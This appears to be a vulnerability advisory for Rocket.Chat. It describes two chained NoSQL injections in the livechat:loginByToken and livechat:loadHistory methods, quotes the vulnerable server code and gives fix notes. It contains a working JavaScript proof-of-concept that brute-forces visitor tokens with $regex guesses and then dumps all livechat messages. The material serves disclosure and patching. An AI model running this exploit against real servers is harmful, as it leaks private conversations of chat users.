CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
9.3%
Livechat messages can be leaked by combining two NoSQL injections affecting livechat:loginByToken
(pre-authentication) and livechat:loadHistory
.
The token
parameter of the livechat:loginByToken
method is not validated and allows NoSQL injection, for instance $regex
to efficiently leak existing livechat visitor token
apps/meteor/app/livechat/server/methods/loginByToken.ts#L17
Meteor.methods<ServerMethods>({
async 'livechat:loginByToken'(token) {
methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
return;
}
return {
_id: visitor._id,
};
},
});
With a known visitor token, an authenticated adversary can load the message history by guessing a room ID or using another NoSQL injection in this methods rid
parameter. The method requires a valid visitor token, which is known from the first step.
apps/meteor/app/livechat/server/methods/loadHistory.ts#L30
Meteor.methods<ServerMethods>({
async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {
methodDeprecationLogger.method('livechat:loadHistory', '7.0.0');
if (!token || typeof token !== 'string') {
return;
}
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', {
method: 'livechat:loadHistory',
});
}
const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });
if (!room) {
throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' });
}
return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });
},
});
develop
var pool = "0123456789abcdef";
var rate_limit = 4; // requests per second
var guessVisitorToken = (knownValid, guesses) => {
return new Promise((resolve, reject) => {
if (!guesses.length) {
return reject();
}
const guess = { "$regex": `^${knownValid}[${guesses}]` };
console.log("Meteor.call", "livechat:loginByToken", guess);
Meteor.call("livechat:loginByToken", guess, async (err, data) => {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (err) {
console.error(err);
return reject(err);
}
if ((data instanceof Object) && data.hasOwnProperty("_id")) {
resolve(guesses)
} else {
reject();
}
});
});
};
var bruteforceVisitorToken = async (knownValid="") => {
let remainingPool = pool;
while (true) {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (remainingPool.length === 0) {
throw new Error("empty pool");
} else if (remainingPool.length === 1) {
await guessVisitorToken(knownValid, remainingPool);
knownValid += remainingPool[0];
remainingPool = pool;
continue;
} else {
const middle = Math.ceil(remainingPool.length / 2);
const left = remainingPool.slice(0, middle);
const right = remainingPool.slice(middle);
try {
await guessVisitorToken(knownValid, left);
remainingPool = left;
continue;
} catch(err) {}
try {
await guessVisitorToken(knownValid, right);
remainingPool = right;
continue
} catch(err) {}
return knownValid;
}
}
}
const { messages, token } = await bruteforceVisitorToken("")
.then((token) => {
console.log("Token leaked", token);
return new Promise((resolve, reject) => {
Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {
if (err) {
console.log("failed to leak messages");
return reject();
}
resolve({ token, messages })
})
});
})
.catch(console.error);
console.log({ token, messages });
token
parameter oflivechat:loginByToken
method to be a String.rid
parameter of livechat:loadHistory
method to be a String.Unauthenticated attackers can leak visitor token on Rocket.Chat appliances with Livechat enabled by using a NoSQL injection in the token
parameter of the livechat:loginByToken
method. Combined with another NoSQL injection in the rid
parameter of the livechat:loadHistory
method, all Livechat messages can be leaked.